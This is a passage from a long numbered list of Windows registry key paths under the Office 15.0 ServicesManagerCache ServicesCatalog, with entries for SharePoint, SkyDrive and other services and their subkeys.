  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
